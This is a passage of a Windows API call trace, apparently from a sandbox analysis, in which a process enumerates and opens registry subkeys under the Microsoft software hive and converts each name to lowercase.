lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tabletextservice", lpUsedDefaultChar=0x0) returned 16 [0193.632] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6d, lpName=0xd3b930, cchName=0x104 | out: lpName="TabletTip") returned 0x0 [0193.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tablettip", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0193.632] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tablettip", cchWideChar=9, lpMultiByteStr=0xd3c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tablettip", lpUsedDefaultChar=0x0) returned 9 [0193.632] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6e, lpName=0xd3b930, cchName=0x104 | out: lpName="Tcpip") returned 0x0 [0193.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tcpip", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0193.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tcpip", cchWideChar=5, lpMultiByteStr=0xd3c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tcpip", lpUsedDefaultChar=0x0) returned 5 [0193.633] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6f, lpName=0xd3b930, cchName=0x104 | out: lpName="Terminal Server Client") returned 0x0 [0193.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="terminal server client", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0193.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="terminal server client", cchWideChar=22, lpMultiByteStr=0xd3c0d8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="terminal server client", lpUsedDefaultChar=0x0) returned 22 [0193.633] RegEnumKeyW (in: hKey=0x24, dwIndex=0x70, lpName=0xd3b930, cchName=0x104 | out: lpName="TermServLicensing") returned 0x0 [0193.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="termservlicensing", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0193.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="termservlicensing", cchWideChar=17, lpMultiByteStr=0xd3c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="termservlicensing", lpUsedDefaultChar=0x0) returned 17 [0193.633] RegEnumKeyW (in: hKey=0x24, dwIndex=0x71, lpName=0xd3b930, cchName=0x104 | out: lpName="TIP Shared") returned 0x0 [0193.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tip shared", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0193.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tip shared", cchWideChar=10, lpMultiByteStr=0xd3c0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tip shared", lpUsedDefaultChar=0x0) returned 10 [0193.633] RegEnumKeyW (in: hKey=0x24, dwIndex=0x72, lpName=0xd3b930, cchName=0x104 | out: lpName="TPG") returned 0x0 [0193.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0193.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpg", cchWideChar=3, lpMultiByteStr=0xd3c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tpg", lpUsedDefaultChar=0x0) returned 3 [0193.633] RegEnumKeyW (in: hKey=0x24, dwIndex=0x73, lpName=0xd3b930, cchName=0x104 | out: lpName="Tpm") returned 0x0 [0193.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0193.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpm", cchWideChar=3, lpMultiByteStr=0xd3c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tpm", lpUsedDefaultChar=0x0) returned 3 [0193.633] RegEnumKeyW (in: hKey=0x24, dwIndex=0x74, lpName=0xd3b930, cchName=0x104 | out: lpName="Tracing") returned 0x0 [0193.633] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tracing", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tracing", cchWideChar=7, lpMultiByteStr=0xd3c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tracing", lpUsedDefaultChar=0x0) returned 7 [0193.634] RegEnumKeyW (in: hKey=0x24, dwIndex=0x75, lpName=0xd3b930, cchName=0x104 | out: lpName="Transaction Server") returned 0x0 [0193.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="transaction server", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0193.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="transaction server", cchWideChar=18, lpMultiByteStr=0xd3c0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="transaction server", lpUsedDefaultChar=0x0) returned 18 [0193.634] RegEnumKeyW (in: hKey=0x24, dwIndex=0x76, lpName=0xd3b930, cchName=0x104 | out: lpName="TV System Services") returned 0x0 [0193.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tv system services", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0193.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tv system services", cchWideChar=18, lpMultiByteStr=0xd3c120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tv system services", lpUsedDefaultChar=0x0) returned 18 [0193.634] RegEnumKeyW (in: hKey=0x24, dwIndex=0x77, lpName=0xd3b930, cchName=0x104 | out: lpName="uDRM") returned 0x0 [0193.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="udrm", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0193.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="udrm", cchWideChar=4, lpMultiByteStr=0xd3c0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="udrm", lpUsedDefaultChar=0x0) returned 4 [0193.634] RegEnumKeyW (in: hKey=0x24, dwIndex=0x78, lpName=0xd3b930, cchName=0x104 | out: lpName="Updates") returned 0x0 [0193.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="updates", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="updates", cchWideChar=7, lpMultiByteStr=0xd3c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updates", lpUsedDefaultChar=0x0) returned 7 [0193.634] RegEnumKeyW (in: hKey=0x24, dwIndex=0x79, lpName=0xd3b930, cchName=0x104 | out: lpName="UPnP Device Host") returned 0x0 [0193.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="upnp device host", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0193.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="upnp device host", cchWideChar=16, lpMultiByteStr=0xd3c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="upnp device host", lpUsedDefaultChar=0x0) returned 16 [0193.634] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7a, lpName=0xd3b930, cchName=0x104 | out: lpName="VBA") returned 0x0 [0193.634] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0193.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0xd3c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vba", lpUsedDefaultChar=0x0) returned 3 [0193.635] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7b, lpName=0xd3b930, cchName=0x104 | out: lpName="Virtual Machine") returned 0x0 [0193.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="virtual machine", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0193.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="virtual machine", cchWideChar=15, lpMultiByteStr=0xd3c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="virtual machine", lpUsedDefaultChar=0x0) returned 15 [0193.635] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7c, lpName=0xd3b930, cchName=0x104 | out: lpName="VisualStudio") returned 0x0 [0193.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0193.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0xd3c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="visualstudio", lpUsedDefaultChar=0x0) returned 12 [0193.635] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7d, lpName=0xd3b930, cchName=0x104 | out: lpName="WAB") returned 0x0 [0193.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0193.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0xd3c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wab", lpUsedDefaultChar=0x0) returned 3 [0193.635] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7e, lpName=0xd3b930, cchName=0x104 | out: lpName="WBEM") returned 0x0 [0193.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbem", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0193.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbem", cchWideChar=4, lpMultiByteStr=0xd3c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wbem", lpUsedDefaultChar=0x0) returned 4 [0193.635] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7f, lpName=0xd3b930, cchName=0x104 | out: lpName="WIMMount") returned 0x0 [0193.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wimmount", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wimmount", cchWideChar=8, lpMultiByteStr=0xd3c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wimmount", lpUsedDefaultChar=0x0) returned 8 [0193.635] RegEnumKeyW (in: hKey=0x24, dwIndex=0x80, lpName=0xd3b930, cchName=0x104 | out: lpName="Windows") returned 0x0 [0193.635] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.636] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0xd3c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows", lpUsedDefaultChar=0x0) returned 7 [0193.636] RegOpenKeyExW (in: hKey=0x24, lpSubKey="Windows", ulOptions=0x0, samDesired=0x20109, phkResult=0x37f75c | out: phkResult=0x37f75c*=0xa0) returned 0x0 [0193.636] RegCloseKey (hKey=0x24) returned 0x0 [0193.636] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x0, lpName=0xd3b930, cchName=0x104 | out: lpName="CurrentVersion") returned 0x0 [0193.636] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0193.636] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0xd3c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentversion", lpUsedDefaultChar=0x0) returned 14 [0193.636] RegOpenKeyExW (in: hKey=0xa0, lpSubKey="CurrentVersion", ulOptions=0x0, samDesired=0x20109, phkResult=0x37f75c | out: phkResult=0x37f75c*=0x24) returned 0x0 [0193.636] RegCloseKey (hKey=0xa0) returned 0x0 [0193.636] RegEnumKeyW (in: hKey=0x24, dwIndex=0x0, lpName=0xd3b930, cchName=0x104 | out: lpName="App Management") returned 0x0 [0193.636] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app management", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0193.636] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app management", cchWideChar=14, lpMultiByteStr=0xd3c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="app management", lpUsedDefaultChar=0x0) returned 14 [0193.636] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1, lpName=0xd3b930, cchName=0x104 | out: lpName="App Paths") returned 0x0 [0193.636] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app paths", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0193.636] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app paths", cchWideChar=9, lpMultiByteStr=0xd3c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="app paths", lpUsedDefaultChar=0x0) returned 9 [0193.636] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2, lpName=0xd3b930, cchName=0x104 | out: lpName="Applets") returned 0x0 [0193.636] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0193.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0xd3c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="applets", lpUsedDefaultChar=0x0) returned 7 [0193.637] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3, lpName=0xd3b930, cchName=0x104 | out: lpName="Audio") returned 0x0 [0193.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audio", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0193.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audio", cchWideChar=5, lpMultiByteStr=0xd3c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audio", lpUsedDefaultChar=0x0) returned 5 [0193.637] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4, lpName=0xd3b930, cchName=0x104 | out: lpName="Authentication") returned 0x0 [0193.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="authentication", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0193.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="authentication", cchWideChar=14, lpMultiByteStr=0xd3c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="authentication", lpUsedDefaultChar=0x0) returned 14 [0193.637] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5, lpName=0xd3b930, cchName=0x104 | out: lpName="BitLocker") returned 0x0 [0193.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitlocker", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0193.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitlocker", cchWideChar=9, lpMultiByteStr=0xd3c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bitlocker", lpUsedDefaultChar=0x0) returned 9 [0193.637] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6, lpName=0xd3b930, cchName=0x104 | out: lpName="BITS") returned 0x0 [0193.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0193.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0xd3c120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0193.637] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7, lpName=0xd3b930, cchName=0x104 | out: lpName="Component Based Servicing") returned 0x0 [0193.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="component based servicing", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0193.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="component based servicing", cchWideChar=25, lpMultiByteStr=0xd3c0d8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="component based servicing", lpUsedDefaultChar=0x0) returned 25 [0193.637] RegEnumKeyW (in: hKey=0x24, dwIndex=0x8, lpName=0xd3b930, cchName=0x104 | out: lpName="Control Panel") returned 0x0 [0193.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0193.637] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control panel", cchWideChar=13, lpMultiByteStr=0xd3c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control panel", lpUsedDefaultChar=0x0) returned 13 [0193.637] RegEnumKeyW (in: hKey=0x24, dwIndex=0x9, lpName=0xd3b930, cchName=0x104 | out: lpName="Controls Folder") returned 0x0 [0193.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0193.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controls folder", cchWideChar=15, lpMultiByteStr=0xd3c0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controls folder", lpUsedDefaultChar=0x0) returned 15 [0193.638] RegEnumKeyW (in: hKey=0x24, dwIndex=0xa, lpName=0xd3b930, cchName=0x104 | out: lpName="DateTime") returned 0x0 [0193.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datetime", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0193.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="datetime", cchWideChar=8, lpMultiByteStr=0xd3c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="datetime", lpUsedDefaultChar=0x0) returned 8 [0193.638] RegEnumKeyW (in: hKey=0x24, dwIndex=0xb, lpName=0xd3b930, cchName=0x104 | out: lpName="Device Installer") returned 0x0 [0193.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device installer", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0193.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device installer", cchWideChar=16, lpMultiByteStr=0xd3c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device installer", lpUsedDefaultChar=0x0) returned 16 [0193.638] RegEnumKeyW (in: hKey=0x24, dwIndex=0xc, lpName=0xd3b930, cchName=0x104 | out: lpName="Device Metadata") returned 0x0 [0193.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device metadata", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0193.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="device metadata", cchWideChar=15, lpMultiByteStr=0xd3c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="device metadata", lpUsedDefaultChar=0x0) returned 15 [0193.638] RegEnumKeyW (in: hKey=0x24, dwIndex=0xd, lpName=0xd3b930, cchName=0x104 | out: lpName="Diagnostics") returned 0x0 [0193.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagnostics", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0193.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="diagnostics", cchWideChar=11, lpMultiByteStr=0xd3c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="diagnostics", lpUsedDefaultChar=0x0) returned 11 [0193.638] RegEnumKeyW (in: hKey=0x24, dwIndex=0xe, lpName=0xd3b930, cchName=0x104 | out: lpName="DriverSearching") returned 0x0 [0193.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driversearching", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0193.638] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driversearching", cchWideChar=15, lpMultiByteStr=0xd3c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driversearching", lpUsedDefaultChar=0x0) returned 15 [0193.638] RegEnumKeyW (in: hKey=0x24, dwIndex=0xf, lpName=0xd3b930, cchName=0x104 | out: lpName="EventCollector") returned 0x0 [0193.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventcollector", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0193.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventcollector", cchWideChar=14, lpMultiByteStr=0xd3c0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventcollector", lpUsedDefaultChar=0x0) returned 14 [0193.639] RegEnumKeyW (in: hKey=0x24, dwIndex=0x10, lpName=0xd3b930, cchName=0x104 | out: lpName="EventForwarding") returned 0x0 [0193.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventforwarding", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0193.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventforwarding", cchWideChar=15, lpMultiByteStr=0xd3c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventforwarding", lpUsedDefaultChar=0x0) returned 15 [0193.639] RegEnumKeyW (in: hKey=0x24, dwIndex=0x11, lpName=0xd3b930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0193.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="explorer", 